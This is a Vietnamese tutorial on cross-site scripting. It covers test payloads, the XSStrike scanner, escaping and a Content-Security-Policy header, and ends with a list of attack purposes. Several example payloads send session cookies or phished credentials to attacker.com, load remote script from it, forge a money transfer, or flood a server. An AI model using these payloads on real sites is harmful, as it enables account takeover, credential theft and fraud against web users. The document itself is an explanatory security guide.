XSS (Cross-Site Scripting) là một lỗ hổng bảo mật trên các ứng dụng web, cho phép kẻ tấn công chèn các đoạn mã độc (thường là JavaScript) vào trang web mà người dùng khác sẽ truy cập. Khi người dùng truy cập trang web có chứa mã độc này, mã sẽ được thực thi bởi trình duyệt của họ, có thể dẫn đến việc đánh cắp cookie, thông tin người dùng, hoặc thực hiện các hành động trái phép thay mặt người dùng.
Có ba loại XSS chính:
Giả sử bạn có một trang web với tham số URL như sau:
http://example.com/search?q=
Bạn có thể thử chèn mã độc vào URL:
http://example.com/search?q=<script>alert('XSS')</script>
Nếu thông báo alert xuất hiện, trang web có khả năng bị lỗ hổng XSS.
Giả sử bạn có một biểu mẫu nhập liệu tìm kiếm trên trang web. Bạn có thể chèn mã độc vào ô tìm kiếm:
<input type="text" name="search" value='<script>alert("XSS")</script>'>
Nếu thông báo alert xuất hiện khi kết quả tìm kiếm được hiển thị, trang web có thể bị lỗ hổng XSS.
Cài đặt XSStrike:
git clone https://github.com/s0md3v/XSStrike cd XSStrike pip install -r requirements.txt
Chạy XSStrike để quét trang web:
python xsstrike.py -u "http://example.com/search?q="
Giả sử có một đoạn mã PHP xử lý dữ liệu đầu vào từ người dùng và xuất ra HTML:
<?php $search = $_GET['search']; echo "<div>" . $search . "</div>"; ?>
Đoạn mã này có thể dễ dàng bị lỗ hổng XSS nếu không escape dữ liệu đầu vào. Để phòng chống, bạn cần escape dữ liệu:
<?php $search = htmlspecialchars($_GET['search'], ENT_QUOTES, 'UTF-8'); echo "<div>" . $search . "</div>"; ?>
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">
CSP này chỉ cho phép tải các tài nguyên từ cùng miền và chặn các mã script từ các nguồn không tin cậy.
Mục đích: Đánh cắp thông tin phiên làm việc (session cookie) của người dùng để chiếm quyền truy cập vào tài khoản của họ.
Cách thực hiện: Có thể chèn mã JavaScript để gửi cookie đến server do họ kiểm soát. Ví dụ:
<script> var img = new Image(); img.src = "http://attacker.com/steal?cookie=" + document.cookie; </script>
Mục đích: Thực hiện các hành động trái phép thay mặt người dùng, chẳng hạn như chuyển tiền, thay đổi thông tin tài khoản, hoặc gửi tin nhắn.
Cách thực hiện: Có thể sử dụng JavaScript để thực hiện các hành động này. Ví dụ:
<script> var xhr = new XMLHttpRequest(); xhr.open("POST", "http://example.com/transfer", true); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.send("amount=1000&to_account=attacker_account"); </script>
Mục đích: Tải và thực thi mã độc trên máy của người dùng.
Cách thực hiện: Kẻ tấn công có thể chèn mã JavaScript để tải mã độc từ server của họ. Ví dụ:
<script src="http://attacker.com/malware.js"></script>
Mục đích: Làm xấu hoặc thay đổi giao diện của trang web để gửi thông điệp hoặc làm mất uy tín của trang web.
Cách thực hiện: Kẻ tấn công có thể chèn mã JavaScript để thay đổi nội dung của trang web. Ví dụ
<script> document.body.innerHTML = "<h1>Hacked by Attacker</h1>"; </script>
Mục đích: Lừa người dùng nhập thông tin nhạy cảm vào các trang web giả mạo.
Cách thực hiện: Kẻ tấn công có thể chèn mã JavaScript để hiển thị một form đăng nhập giả mạo. Ví dụ:
<script> var form = '<form action="http://attacker.com/phish" method="POST">'; form += 'Username: <input type="text" name="username"><br>'; form += 'Password: <input type="password" name="password"><br>'; form += '<input type="submit" value="Login">'; form += '</form>'; document.body.innerHTML = form; </script>
Mục đích: Làm cho trang web hoặc dịch vụ trở nên không khả dụng cho người dùng hợp pháp.
Cách thực hiện: Kẻ tấn công có thể chèn mã JavaScript để thực hiện nhiều yêu cầu đến server, làm server quá tải. Ví dụ:
<script> for (var i = 0; i < 1000; i++) { var img = new Image(); img.src = "http://example.com?random=" + Math.random(); } </script>